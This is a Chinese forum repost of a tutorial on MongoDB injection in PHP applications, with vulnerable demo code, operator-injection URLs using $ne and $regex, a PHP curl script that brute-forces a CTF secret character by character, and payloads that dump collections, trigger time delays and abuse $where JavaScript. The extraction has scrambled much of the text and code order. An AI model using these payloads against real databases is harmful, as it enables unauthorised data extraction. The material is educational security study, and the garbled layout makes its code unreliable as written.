搜索

[21679] 2021-02-17_Mongodb注入学习

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-18
2021-02-17_Mongodb注入学习 M o n g o d b 注 入 学 习 转 自 安 全 先 师   L e m o n S e c   2 0 2 1 - 0 2 - 1 7 0 x 0 0   前 言 前 言 关 于 关 于 m o n g o d b 的 安 装 及 的 安 装 及 p h p 下 注 入 攻 击 下 注 入 攻 击 m o n g o d b 的 内 容 可 自 行 百 度 ， 本 文 也 是 在 学 习 、 查 阅 了 大 量 资 料 后 的 一 些 总 结 。 的 内 容 可 自 行 百 度 ， 本 文 也 是 在 学 习 、 查 阅 了 大 量 资 料 后 的 一 些 总 结 。 0 x 0 1   概 括 概 括 p h p 下 操 作 m o n g o d b 大 致 有 以 下 两 种 方 式 1 . 用 m o n g o 类 中 相 应 的 方 法 执 行 增 查 减 改   比 如 ： 此 时 ， 传 递 进 入 的 参 数 是 一 个 数 组 。 2 . 用 e x e c u t e 方 法 执 行 字 符 串   比 如 ： # ! p h p < ? p h p $ m o n g o   =   n e w   m o n g o c l i e n t ( ) ; $ d b   =   $ m o n g o - > m y i n f o ;   / / 选 择 数 据 库 $ c o l l   =   $ d b - > t e s t ;   / / 选 择 集 合 $ c o l l - > s a v e ( ) ;         / / 增 $ c o l l - > f i n d ( ) ;         / / 查 $ c o l l - > r e m o v e ( ) ;         / / 减 $ c o l l - > u p d a t e ( ) ;         / / 改 # ! p h p < ? p h p
此 时 ， 传 进 方 法 e x e c u t e 的 参 数 就 是 字 符 串 变 量 $ q u e r y 。 特 别 的 ， 此 时 的 字 符 串 书 写 语 法 为 j s 的 书 写 语 法 。 对 于 以 上 两 种 不 同 执 行 方 式 ， 有 不 同 的 注 入 攻 击 方 式 。 0 x 0 2   注 入 攻 击 注 入 攻 击 0 . 在 攻 击 前 ， 我 们 需 要 先 建 立 一 个 集 合 ， 作 为 攻 击 的 基 础 。 用 户 t e s t 是 攻 击 者 已 经 知 道 账 号 密 码 的 一 个 测 试 账 号 ， 其 他 账 号 的 话 密 码 随 机 。 想 通 过 注 入 获 取 其 他 账 号 的 密 码 。 1 . 数 组 绑 定 时 的 注 入 一 个 数 组 绑 定 的 查 询 d e m o 如 下 ： $ m o n g o   =   n e w   m o n g o c l i e n t ( ) ; $ d b   =   $ m o n g o - > m y i n f o ;   / / 选 择 数 据 库 $ q u e r y   =   " d b . t a b l e . s a v e ( { ' n e w s i d ' : 1 } ) " ;         / / 增 $ q u e r y   =   " d b . t a b l e . f i n d ( { ' n e w s i d ' : 1 } ) " ;         / / 查 $ q u e r y   =   " d b . t a b l e . r e m o v e ( { ' n e w s i d ' : 1 } ) " ;         / / 减 $ q u e r y   =   " d b . t a b l e . u p d a t e ( { ' n e w s i d ' : 1 } , { ' n e w s i d ' , 2 } ) " ;         改 $ r e s u l t   =   $ d b - > e x e c u t e ( $ q u e r y ) ; # ! p h p < ? p h p
此 时 的 攻 击 利 用 了 p h p 可 以 传 递 数 组 参 数 的 一 个 特 性 。 当 传 入 的 u r l 为 ： 执 行 了 语 句 ： d b . t e s t . f i n d ( { u s e r n a m e : ' t e s t ' , p a s s w o r d : ' t e s t ' } ) ; 如 果 此 时 传 入 的 u r l 如 下 : h t t p : / / 1 2 7 . 0 . 0 . 1 / 2 . p h p ? u s e r n a m e [ x x ] = t e s t & p a s s w o r d = t e s t $ m o n g o   =   n e w   m o n g o c l i e n t ( ) ; $ d b   =   $ m o n g o - > m y i n f o ;   / / 选 择 数 据 库 $ c o l l   =   $ d b - > t e s t ;   / / 选 择 集 合 $ u s e r n a m e   =   $ _ G E T [ ' u s e r n a m e ' ] ; $ p a s s w o r d   =   $ _ G E T [ ' p a s s w o r d ' ] ; $ d a t a   =   a r r a y (                 ' u s e r n a m e ' = > $ u s e r n a m e ,                 ' p a s s w o r d ' = > $ p a s s w o r d                 ) ; $ d a t a   =   $ c o l l - > f i n d ( $ d a t a ) ; $ c o u n t   =   $ d a t a - > c o u n t ( ) ; i f   ( $ c o u n t > 0 )   {         f o r e a c h   ( $ d a t a   a s   $ u s e r )   {                 e c h o   ' u s e r n a m e : ' . $ u s e r [ ' u s e r n a m e ' ] . " < / b r > " ;                 e c h o   ' p a s s w o r d : ' . $ u s e r [ ' p a s s w o r d ' ] . " < / b r > " ;         } } e l s e {         e c h o   ' 未 找 到 ' ; } ? > h t t p : / / 1 2 7 . 0 . 0 . 1 / 2 . p h p ? u s e r n a m e = t e s t & p a s s w o r d = t e s t
则 $ u s e r n a m e 就 是 一 个 数 组 ， 也 就 相 当 于 执 行 了 p h p 语 句 ： 而 m o n g o d b 对 于 多 维 数 组 的 解 析 使 最 终 执 行 了 如 下 语 句 ： d b . t e s t . f i n d ( { u s e r n a m e : { ' x x ' : ' t e s t ' } , p a s s w o r d : ' t e s t ' } ) ; 利 用 此 特 性 ， 我 们 可 以 传 入 数 据 ， 是 数 组 的 键 名 为 一 个 操 作 符 （ 大 于 ， 小 于 ， 等 于 ， 不 等 于 等 等 ） ， 完 成 一 些 攻 击 者 预 期 的 查 询 。 如 ， 传 入 u r l : h t t p : / / 1 2 7 . 0 . 0 . 1 / 2 . p h p ? u s e r n a m e [ $ n e ] = t e s t & p a s s w o r d [ $ n e ] = t e s t 结 果 如 图 因 为 传 入 的 键 名 $ n e 正 是 一 个 m o n g o d b 操 作 符 ， 最 终 执 行 了 语 句 ： d b . t e s t . f i n d ( { u s e r n a m e : { ' $ n e ' : ' t e s t ' } , p a s s w o r d : { ' $ n e ' : ' t e s t ' } } ) ; 这 句 话 相 当 于 s q l : s e l e c t   *   f r o m   t e s t   w h e r e   u s e r n a m e ! = ' t e s t '   a n d   p a s s w o r d ! = ' t e s t ' ; # ! p h p $ d a t a   =   a r r a y ( ' u s e r n a m e ' = > a r r a y ( ' x x ' = > ' t e s t ' ) , ' p a s s w o r d ' = > ' t e s t ' ) ;
直 接 便 利 出 所 有 集 合 中 的 数 据 。 如 果 此 时 的 用 户 名 与 密 码 不 能 回 显 ， 只 是 返 回 一 个 逻 辑 上 的 正 误 判 断 。 那 么 我 们 可 以 采 用 $ r e g e x 操 作 符 来 一 位 一 位 获 取 数 据 。 D e m o ： 这 是 h c t f 中 的 一 道 题 目 。 猜 测 其 p h p 代 码 大 概 如 下 这 样 的 话 ， 因 为 只 有 “ 正 确 ” 或 者 “ 错 误 ” 两 种 回 显 ， 我 们 只 能 通 过 正 则 判 断 来 一 位 一 位 读 取 l o c k 的 内 容 了 。 对 于 该 题 的 利 用 p a y l o a d 如 下 ： # ! p h p < ? p h p $ m o n g o   =   n e w   m o n g o c l i e n t ( ) ; $ d b   =   $ m o n g o - > m y i n f o ;   / / 选 择 数 据 库 $ c o l l   =   $ d b - > t e s t ;   / / 选 择 集 合 $ l o c k   =   $ _ P O S T [ ' l o c k ' ] ; $ k e y   =   $ _ P O S T [ ' k e y ' ] ; i f   ( i s _ a r r a y ( $ l o c k ) )   {         $ d a t a   =   a r r a y (                 ' l o c k ' = > $ l o c k ) ;         $ d a t a   =   $ c o l l - > f i n d ( $ d a t a ) ;         i f   ( $ d a t a - > c o u n t ( ) > 0 )   {                 e c h o   ' t h e   l o c k   i s   r i g h t , b u t   w r o n g   k e y ' ;         } e l s e {                 e c h o   ' l o c k   i s   w r o n g ' ;         } } e l s e {         i f   ( $ l o c k   = =   ' a a b b c c d d ' & & $ k e y = = ' a a b b c c d d ' )   {                 e c h o   ' Y o u r   f l a g   i s   x x x x x x x ' ;         } e l s e {                 e c h o   ' l o c k   i s   w r o n g ' ;         } } ? > # ! p h p < ? p h p   $ c h = c u r l _ i n i t ( ) ; c u r l _ s e t o p t ( $ c h , C U R L O P T _ U R L , ' h t t p : / / 1 2 1 . 4 0 . 8 6 . 1 6 6 : 2 3 3 3 9 / ' ) ; c u r l _ s e t o p t ( $ c h , C U R L O P T _ R E T U R N T R A N S F E R , 1 ) ; c u r l _ s e t o p t ( $ c h , C U R L O P T _ P O S T , 1 ) ; $ o r i   =   ' 0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v w x y z ' ; $ s t r   =   ' ' ; f o r   ( $ i = 0 ;   $ i   < 1 0   ;   $ i + + )   {         f o r   ( $ j = 0 ;   $ j   < s t r l e n ( $ o r i )   ;   $ j + + )   {                   $ p o s t   =   ' k e y = 1 & l o c k [ $ r e g e x ] = ^ ' . $ s t r . $ o r i [ $ j ] ;                 c u r l _ s e t o p t ( $ c h , C U R L O P T _ P O S T F I E L D S , $ p o s t ) ;                 $ d a t a = c u r l _ e x e c ( $ c h ) ;                 i f   ( s t r l e n ( $ d a t a )   = =   3 1 9 )   {                       $ s t r . = $ o r i [ $ j ] ;                       e c h o   $ s t r . " r n " ;                       b r e a k ;
结 果 如 图 ： 相 当 于 在 数 据 库 中 多 次 执 行 查 询 : 最 终 全 部 猜 出 字 符 串 的 内 容 , 相 似 与 s q l 注 入 中 的 盲 注 。 2 . 拼 接 字 符 串 时 的 注 入 因 为 字 符 串 的 拼 接 方 式 多 种 多 样 ， 不 同 程 序 员 也 有 不 同 的 书 写 习 惯 。 举 几 个 d e m o 为 例 ：                       b r e a k ;                 }         } } ? > d b . t e s t . f i n d ( { l o c k : { ' $ r e g e x ' : ' ^ a ' } } ) ;   d b . t e s t . f i n d ( { l o c k : { ' $ r e g e x ' : ' ^ b ' } } ) ;   d b . t e s t . f i n d ( { l o c k : { ' $ r e g e x ' : ' ^ c ' } } ) ;   d b . t e s t . f i n d ( { l o c k : { ' $ r e g e x ' : ' ^ c a ' } } ) ;   … …   … …   d b . t e s t . f i n d ( { l o c k : { ' $ r e g e x ' : ' ^ a a b b c c d d ' } } ) ; # ! p h p < ? p h p $ u s e r n a m e   =   $ _ G E T [ ' u s e r n a m e ' ] ; $ p a s s w o r d   =   $ _ G E T [ ' p a s s w o r d ' ] ; $ q u e r y   =   " v a r   d a t a   =   d b . t e s t . f i n d O n e ( { u s e r n a m e : ' $ u s e r n a m e ' , p a s s w o r d : ' $ p a s s w o r d ' } ) ; r e t u r n   d a t a ; " ; / / $ q u e r y   =   " r e t u r n   d b . t e s t . f i n d O n e ( ) ; " ; / / e c h o   $ q u e r y ; $ m o n g o   =   n e w   m o n g o c l i e n t ( ) ; $ d b   =   $ m o n g o - > m y i n f o ; $ d a t a   =   $ d b - > e x e c u t e ( $ q u e r y ) ; i f   ( $ d a t a [ ' o k ' ]   = =   1 )   {         i f   ( $ d a t a [ ' r e t v a l ' ] ! = N U L L )   {                 e c h o   ' u s e r n a m e : ' . $ d a t a [ ' r e t v a l ' ] [ ' u s e r n a m e ' ] . " < / b r > " ;                 e c h o   ' p a s s w o r d : ' . $ d a t a [ ' r e t v a l ' ] [ ' p a s s w o r d ' ] . " < / b r > " ;
攻 击 方 式 ： h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p ? u s e r n a m e = t e s t ' & p a s s w o r d = t e s t 报 错 。 想 办 法 闭 合 语 句 。 h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p ? u s e r n a m e = t e s t ' } ) ; r e t u r n   { u s e r n a m e : 1 , p a s s w o r d : 2 } / / & p a s s w o r d = t e s t 该 语 句 能 返 回 一 个 数 组 ， u s e r n a m e 键 值 是 1 ， p a s s w o r d 键 值 是 2 . 爆 m o n g o d b 版 本 h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p ? u s e r n a m e = t e s t ' } ) ; r e t u r n   { u s e r n a m e : t o j s o n ( d b . g e t C o l l e c t i o n N a m e s ( ) ) , p a s s w o r d : 2 } ; / / & p a s s w o r d = t e s t         } e l s e {                 e c h o   ' 未 找 到 ' ;         } } e l s e {         e c h o   $ d a t a [ ' e r r m s g ' ] ; } ? >
爆 所 有 集 合 名 P S : 因 为 d b . g e t C o l l e c t i o n N a m e s ( ) 返 回 的 是 数 组 ， 需 要 用 t o j s o n 转 换 为 字 符 串 。 并 且 m o n g o d b 函 数 区 分 大 小 写 。 爆 t e s t 集 合 的 第 一 条 数 据 h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p ? u s e r n a m e = t e s t ' } ) ; r e t u r n   { u s e r n a m e : t o j s o n ( d b . t e s t . f i n d ( ) [ 0 ] ) , p a s s w o r d : 2 } ; / / & p a s s w o r d = t e s t 爆 t e s t 集 合 的 第 二 条 数 据 因 为 e x e c u t e 方 法 支 持 多 语 句 执 行 ， 所 以 可 以 执 行 太 多 语 句 了 ， 不 演 示 ~ 当 然 ， 有 时 可 能 遇 到 没 有 输 出 返 回 数 据 ， 这 时 候 怎 么 办 呢 ？ 在 高 版 本 下 ， 添 加 了 一 个 函 数 s l e e p ( ) ， 就 是 时 间 盲 注 咯 ~ P S : 在 高 版 本 下 ， 貌 似 不 能 用 注 释 语 句 ， 此 外 高 版 本 还 有 一 个 新 特 性 就 是 默 认 开 启 错 误 回 显 。 笔 者 尝 试 没 有 注 释 成 功 ， 只 能 用 闭 合 的 方 法 。 h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p ? u s e r n a m e = t e s t ' } ) ; i f   ( d b . v e r s i o n ( )   >   " 0 " )   {   s l e e p ( 1 0 0 0 0 ) ;   e x i t ;   } v a r   b = ( { a : ' 1 & p a s s w o r d = t e s t
成 功 延 时 了 十 秒 。 在 M o n g d b 中 可 以 使 用 $ w h e r e 操 作 符 。 相 当 于 s q l 语 句 中 的 w h e r e 限 制 语 句 。 m o n g o d b 中 的 $ w h e r e 操 作 符 常 常 引 入 一 个 j s 的 函 数 来 作 为 限 制 条 件 ， 当 j s 函 数 中 的 字 符 串 存 在 未 过 滤 的 用 户 输 入 时 ， 注 入 就 产 生 了 。 D e m o ： 为 了 测 试 ， 我 建 立 了 两 个 集 合 ， 一 个 是 n e w s 集 合 ， 查 询 过 程 中 存 在 注 入 。 另 一 个 是 u s e r 集 合 ， 我 们 要 注 入 得 到 其 中 的 数 据 。 代 码 中 的 t h i s . n e w s 指 的 就 是 表 中 的 n e w s 栏 （ 字 段 ） ， 上 面 的 代 码 翻 译 成 s q l 语 句 就 是 ： s e l e c t   *   f r o m   n e w s   w h e r e   n e w s = ' $ n e w s ' 该 d e m o 的 注 入 方 式 可 以 参 考 如 下 ： h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t 返 回 正 常 h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t ' 返 回 错 误 # ! p h p < ? p h p $ m o n g o   =   n e w   m o n g o c l i e n t ( ) ; $ d b   =   $ m o n g o - > m y i n f o ;   / / 选 择 数 据 库 $ c o l l   =   $ d b - > n e w s ;   / / 选 择 集 合 $ n e w s   =   $ _ G E T [ ' n e w s ' ] ; $ f u n c t i o n   =   " f u n c t i o n ( )   { i f ( t h i s . n e w s   = =   ' $ n e w s ' )   r e t u r n   t r u e } " ; e c h o   $ f u n c t i o n ; $ r e s u l t   =   $ c o l l - > f i n d ( a r r a y ( ' $ w h e r e ' = > $ f u n c t i o n ) ) ; i f   ( $ r e s u l t - > c o u n t ( ) > 0 )   {         e c h o   ' 该 新 闻 存 在 ' ; } e l s e {         e c h o   ' 该 新 闻 不 存 在 ' ; } ? >
h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t ' % 2 6 % 2 6 ' 1 ' = = ' 1 返 回 正 常 h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t ' % 2 6 % 2 6 ' 1 ' = = ' 2 返 回 错 误 至 此 检 测 出 注 入 ， 开 始 获 取 数 据 。 h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t ' % 2 6 % 2 6 d b . g e t C o l l e c t i o n N a m e s ( ) . l e n g t h > 0 % 2 6 % 2 6 ' 1 ' = = ' 1 返 回 正 常 ， 集 合 数 大 于 0 h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t ' % 2 6 % 2 6 d b . g e t C o l l e c t i o n N a m e s ( ) . l e n g t h = = 5 % 2 6 % 2 6 ' 1 ' = = ' 1 返 回 正 常 ， 集 合 数 等 于 5 获 取 集 合 名 称 h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t ' % 2 6 % 2 6 d b . g e t C o l l e c t i o n N a m e s ( ) [ 0 ] . l e n g t h = = 6 % 2 6 % 2 6 ' 1 ' = = ' 1 返 回 正 常 ， 第 一 个 集 合 名 称 长 度 为 6 h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t ' % 2 6 % 2 6 d b . g e t C o l l e c t i o n N a m e s ( ) [ 0 ] [ 0 ] > ' a ' % 2 6 % 2 6 ' 1 ' = = ' 1 返 回 正 常 ， 第 一 个 集 合 名 称 第 一 个 字 符 大 于 a h t t p : / / 1 2 7 . 0 . 0 . 1 / 3 . p h p ? n e w s = t e s t ' % 2 6 % 2 6 d b . g e t C o l l e c t i o n N a m e s ( ) [ 0 ] [ 0 ] = = ' m ' % 2 6 % 2 6 ' 1 ' = = ' 1 返 回 正 常 ， 第 一 个 集 合 名 称 第 一 个 字 符 为 m
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理